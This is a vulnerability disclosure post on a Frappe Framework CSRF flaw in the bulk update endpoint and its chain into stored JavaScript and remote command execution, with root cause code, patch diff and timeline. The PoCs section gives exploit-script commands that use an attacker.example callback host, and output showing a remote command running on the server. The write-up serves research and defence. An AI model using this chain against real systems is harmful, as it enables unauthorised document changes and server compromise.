Skip to content

Frappe Bulk Update GET CSRF and a Browser-to-RCE Chain

TL;DR

  • One cross-site link makes a logged-in Frappe user update, submit or cancel documents they can already change.
  • The bulk update endpoint accepted GET, and Frappe never checks a CSRF token on GET.
  • The default SameSite=Lax session cookie still goes along when the victim clicks a link from another site.
  • The handler commits its own transaction, so Frappe's usual GET rollback cannot undo the change.
  • Against a Website Manager, the link rewrites a Web Page's JavaScript, which then runs for anyone who opens the page.
  • On a self-hosted Bench with a writable app directory, that script chains into a separate Jinja file-write bug for command execution as the Frappe worker.
  • Frappe 16.30.0 and 15.117.0 make the endpoint POST-only. The report was closed as already fixed, so there is no advisory, CVE or credit.

Summary

  • CVE: none assigned as of October 20, 2026
  • Product: Frappe Framework (frappe/frappe)
  • Vulnerability: Cross-Site Request Forgery via State-Changing GET on the Bulk Update Endpoint
  • Affected Versions: demonstrated on 16.29.0
  • Fixed In: 16.30.0 and 15.117.0 for the reported GET path
  • CVSS Severity: 6.1 (medium, reporter-assessed)
  • Required Privilege: None
  • Advisory: none published as of October 20, 2026
  • Reported: July 29, 2026

Introduction

[A]I went looking for whitelisted methods in Frappe 16.29.0 that change state without saying which HTTP verbs they accept, because Frappe only runs its CSRF check on the unsafe verbs and a bare @frappe.whitelist() accepts GET.

Most state-changing methods either named their accepted verbs or had their GET writes rolled back when the request finished. The bulk update handler named no verbs and committed its own transaction.

Root Cause Analysis

The Bulk Action Accepted GET

The vulnerable method was submit_cancel_or_update_docs():

# frappe/desk/doctype/bulk_update/bulk_update.py
@frappe.whitelist()  # [1] Declares no HTTP method restriction.
def submit_cancel_or_update_docs(doctype, docnames, action="submit", data=None, task_id=None):
    if isinstance(docnames, str):
        docnames = frappe.parse_json(docnames)

    if len(docnames) < 20:
        return _bulk_action(doctype, docnames, action, data, task_id)  # [2] Runs the action in this request.

The decorator at [1] makes the method remotely callable without naming an HTTP method. Requests with fewer than 20 documents enter the action synchronously at [2].

Frappe's whitelist() decorator supplies the missing method list:

# frappe/__init__.py
def whitelist(allow_guest=False, xss_safe=False, methods=None):
    # ... docstring omitted.
    if not methods:
        methods = ["GET", "POST", "PUT", "DELETE"]  # [3] Includes GET by default.

    def innerfn(fn):
        from frappe.utils.typing_validations import validate_argument_types

        global whitelisted, guest_methods, xss_safe_methods, allowed_http_methods_for_whitelisted_func

        # ... type-validation setup omitted; it does not change the method set.
        whitelisted.add(fn)
        allowed_http_methods_for_whitelisted_func[fn] = methods  # [4] Registers the default set.

        # ... guest and XSS-safe registration omitted.
        return fn

    return innerfn

The omitted argument becomes the four-method list at [3], which is registered for dispatch at [4]. So GET reached an endpoint that updates, submits and cancels documents.

GET Skipped CSRF

Frappe 16.29.0 only classified four methods as unsafe in frappe/auth.py:

# frappe/auth.py
UNSAFE_HTTP_METHODS = frozenset(("POST", "PUT", "DELETE", "PATCH"))  # [5] GET is absent.

# ... unrelated constant omitted.
class HTTPRequest:
    # ... earlier request methods omitted.
    def validate_csrf_token(self):
        if (
            not frappe.request
            or frappe.request.method not in UNSAFE_HTTP_METHODS  # [6] GET returns here.
            or frappe.conf.ignore_csrf
            or not frappe.session
            or not (saved_token := frappe.session.data.csrf_token)
            or (
                (frappe.get_request_header("X-Frappe-CSRF-Token") or frappe.form_dict.pop("csrf_token", None))
                == saved_token
            )
            or self.is_allowed_referrer()
        ):
            return

        frappe.flags.disable_traceback = True
        frappe.throw(_("Invalid Request"), frappe.CSRFTokenError)

GET is outside the unsafe set at [5], so the condition at [6] returns without comparing a request token with the victim's saved token.

The authenticated sid cookie used the Lax default:

# frappe/auth.py
def init_cookies(self):
    if not frappe.local.session.get("sid"):
        return

    if frappe.session.sid:
        self.set_cookie("sid", frappe.session.sid, max_age=get_expiry_in_seconds(), httponly=True)  # [7] Uses the default SameSite value.

def set_cookie(
    self,
    key,
    value,
    expires=None,
    secure=False,
    httponly=False,
    samesite="Lax",  # [8] Permits a top-level cross-site GET.
    max_age=None,
    deduplicate=False,
):
    # ... cookie construction omitted.

The call at [7] does not override samesite, so it receives [8]. A top-level navigation from another site can carry that cookie. A Strict cookie blocks this cross-site construction, but it does not fix the endpoint or protect against a same-site attacker origin.

The Handler Committed the Change

Inside _bulk_action(), the update branch applies request data, saves the document and commits:

# frappe/desk/doctype/bulk_update/bulk_update.py
elif action == "update" and not doc.docstatus.is_cancelled():
    # ... child-table updates omitted; they do not alter the ordinary field path.
    # Handle regular field updates
    if data:
        doc.update(data)  # [9] Applies the selected field values.

    doc.save()  # [10] Saves with the victim's normal permissions.
    message = _("Updating {0}").format(doctype)
else:
    failed.append(docname)
frappe.db.commit()  # [11] Commits during the GET.

The endpoint writes the supplied fields at [9]. The save at [10] keeps ordinary permissions, field permissions, validation and workflow checks, so this is CSRF rather than a document-permission bypass. The explicit commit at [11] makes the accepted operation durable.

Normal sync_database() cleanup rolls a GET back:

# frappe/app.py
def sync_database():
    db = getattr(frappe.local, "db", None)
    if not db:
        # db isn't initialized, can't commit or rollback
        return

    # if HTTP method would change server state, commit if necessary
    if frappe.local.request.method in UNSAFE_HTTP_METHODS or frappe.local.flags.commit:
        db.commit(chain=True)
    else:
        db.rollback(chain=True)  # [12] Runs after the endpoint already committed.

The rollback at [12] cannot undo the transaction already committed at [11].

From Web Page to Browser Code

Website Manager is a stock role with write access to Web Pages. Frappe places the trusted javascript field into template context:

# frappe/website/doctype/web_page/web_page.py
context.update(
    {
        "style": self.css or "",
        "script": self.javascript or "",  # [13] Reads stored Web Page JavaScript.
        "header": self.header,
        "text_align": self.text_align,
    }
)

The Web Page template emits that value:

{# frappe/website/doctype/web_page/templates/web_page.html #}
{% block script %}
    {%- if script -%}
    <script>{{ script }}</script> {# [14] Runs from the Web Page origin. #}
    {%- endif -%}

The field is intentionally powerful for a trusted Website Manager. The bug let somebody else replace it through the manager's session. The value selected at [13] runs at [14] for later visitors to the page.

The Jinja File Write

The command-execution chain rewrote seven fields on a known Web Page, turning it into a published dynamic page with stored JavaScript. The victim's browser then opened that route. From the Frappe origin, the script read the legitimate CSRF token and posted two multipart files back to the dynamic page.

The second bug exposed those uploads to safe Jinja through the live request object. Its template saved an HTML page and Python controller into a fresh route under an installed app. Requesting that route imported the controller and ran the attacker's command.

The Guest Stored XSS and Safe-Jinja File Write to RCE post covers the Jinja file write and its patch in detail.

The final step depends on the deployment. The Frappe web process must be able to write to a known importable app www directory, and the files must be visible to the worker serving the new route. Read-only application images or nonshared replica filesystems block this command-execution construction.

Impact

The standalone issue lets an unauthenticated attacker cause one or more valid bulk actions using a victim's current authority. The attacker needs a known document name and an operation accepted by that document. Consequences depend on what the victim can normally update, submit or cancel.

With a Website Manager victim, I targeted a known Web Page. Its stored JavaScript runs from the Frappe origin for public visitors and can act with the session of an authenticated visitor who later opens the page.

On the deployment described above, the browser planted a new file-backed route whose controller ran as the Frappe web worker. This does not demonstrate root access, privilege escalation, container escape or host escape.

Exploitation

Preconditions

The victim must be authenticated and already permitted to perform the selected action. The attacker needs the DocType, document name and a valid field value or state transition. The victim must follow one top-level navigation, and the browser must send its session cookie.

The Web Page chain needs a known page writable by the victim. The victim must click Continue and allow its user-initiated popup. Popup blocking or an opener-isolating policy can stop that sequence. Command execution also needs executable Web Page JavaScript, a reachable callback origin and a known importable app www path writable by and shared with the serving worker. External payload mode needs the page's script policy and network path to allow attacker-hosted JavaScript.

PoCs

The standalone client is frappe06_bulk_update_get_csrf.py. The repo names its clients after my report numbers, FRAPPE-06 for the CSRF and FRAPPE-04 for the file write.

python3 frappe06_bulk_update_get_csrf.py \
  --url https://frappe.example \
  --public-url https://attacker.example \
  --doctype 'Web Page' \
  --docname about \
  --action update \
  --field title \
  --value 'Maintenance'
 _____ ____      _    ____  ____  _____
|  ___|  _ \    / \  |  _ \|  _ \| ____|
| |_  | |_) |  / _ \ | |_) | |_) |  _|
|  _| |  _ <  / ___ \|  __/|  __/| |___
|_|   |_| \_\/_/   \_\_|   |_|   |_____|
  bulk-update cross-site GET CSRF  ·  FRAPPE-06
  discovered by CryptoCat · cryptocat.me

 [*] target action: update Web Page/about
 [+] lure ready — send this URL to the logged-in victim:
  ------------------------------------------------------------
https://attacker.example/?token=jEhUfj35ML9pIjZN0-y6mQHy
 [*] waiting up to 120s for the victim to follow it
 [+] victim followed the lure; redirect sent to the Frappe endpoint
 [!] the attacker origin cannot read the response; inspect the target document

The script prints a random lure URL and waits for an authenticated victim to click Continue. The attacker server sees the redirect but cannot read the private target response across origins, so the selected document must be checked separately to determine whether the mutation succeeded. Here the about page's title read Maintenance afterwards, last modified by the Website Manager who clicked. --action also accepts submit and cancel without the field or value arguments.

The chain client is frappe06_04_browser_rce.py.

python3 frappe06_04_browser_rce.py \
  --url https://frappe.example \
  --public-url https://attacker.example \
  --web-page about \
  --web-route about \
  --www-path ../apps/custom_app/custom_app/www \
  --command id
 [*] execution route: /frappe0604_a12091cad641c5f54a51
 [*] payload mode: external
 [+] execution route /frappe0604_a12091cad641c5f54a51 is unused (HTTP 404)
 [+] lure ready — send this URL to the logged-in victim:
https://attacker.example/Y_sDAlX2cPhksTrqPeK75NGV/
 [*] waiting up to 150s for the target-origin callback
 [+] target-origin callback received
 [+] remote command exited with status 0
  ------------------------------------------------------------
status: 0
stdout:
uid=1000(frappe) gid=1000(frappe) groups=1000(frappe)
stderr:
 [!] persistent files left behind: ../apps/custom_app/custom_app/www/frappe0604_a12091cad641c5f54a51.html and ../apps/custom_app/custom_app/www/frappe0604_a12091cad641c5f54a51.py

The chain creates a random execution route and checks that it returns HTTP 404 before starting. Once the callback arrives from the exact Frappe origin, the script prints the command's real exit status, stdout and stderr. It leaves the seven Web Page fields changed and the random .html and .py files in the selected app path.

Patch Diffing

Frappe restricted the bulk method to POST in the version 16 backport of PR #41361:

# frappe/desk/doctype/bulk_update/bulk_update.py (submit_cancel_or_update_docs)
-@frappe.whitelist()
+@frappe.whitelist(methods=["POST"])
 def submit_cancel_or_update_docs(doctype, docnames, action="submit", data=None, task_id=None):
    if isinstance(docnames, str):
        docnames = frappe.parse_json(docnames)

The dispatcher now rejects GET before _bulk_action() runs. A valid POST enters Frappe's unsafe-method path and requires the normal CSRF token. The change shipped in 16.30.0 and 15.117.0.

The Jinja file write closed in two later stages, first behind a configuration default that did not select the patched globals in 16.31.0, then for every template in 16.33.1. The Jinja file write analysis carries both diffs and the version 15 numbers.

Remediation

Upgrade to Frappe 16.30.0 or 15.117.0 or later to block the reported bulk-action GET path. State-changing whitelisted methods should name POST or another unsafe method explicitly, and GET handlers should never commit application changes.

A Strict session cookie can block this cross-site navigation, but it is only defence in depth. It does not repair the endpoint and does not protect against an attacker-controlled same-site origin.

Frappe 16.33.1 and 15.120.1 close the file-write handoff. Read-only application code and separation between writable uploads and importable source also prevent the demonstrated controller-write route, but neither stops the standalone bulk-action CSRF.

Disclosure Timeline

  • July 29, 2026: Reported the CSRF and the Jinja file write to security@frappe.io, with the chain PoC attached.
  • July 30, 2026: PR #41361 merged the POST-only fix, backport the same morning.
  • August 5, 2026: Frappe 16.30.0 and 15.117.0 shipped it. Frappe closed the report as already fixed in develop, with no advisory or credit.
  • August 6, 2026: PR #41648 merged for the Jinja file write, with credit to me, no advisory, and a request to wait a month after deployment.
  • August 11, 2026: Frappe 16.31.0 and 15.118.0 shipped that patch.
  • September 8, 2026: Frappe 16.33.1 and 15.120.1 removed the live request from every template global set.
  • October 20, 2026: Published this post. Neither issue has an advisory or CVE.

Conclusion

@frappe.whitelist() accepted GET because the method named no allowed verbs. GET skipped the CSRF token check, a top-level navigation carried the SameSite=Lax session cookie, and _bulk_action() committed before Frappe's GET rollback.

The POST-only patch closes the reported bulk-action path. The later Jinja fix also closes the file write used in the command-execution chain.

References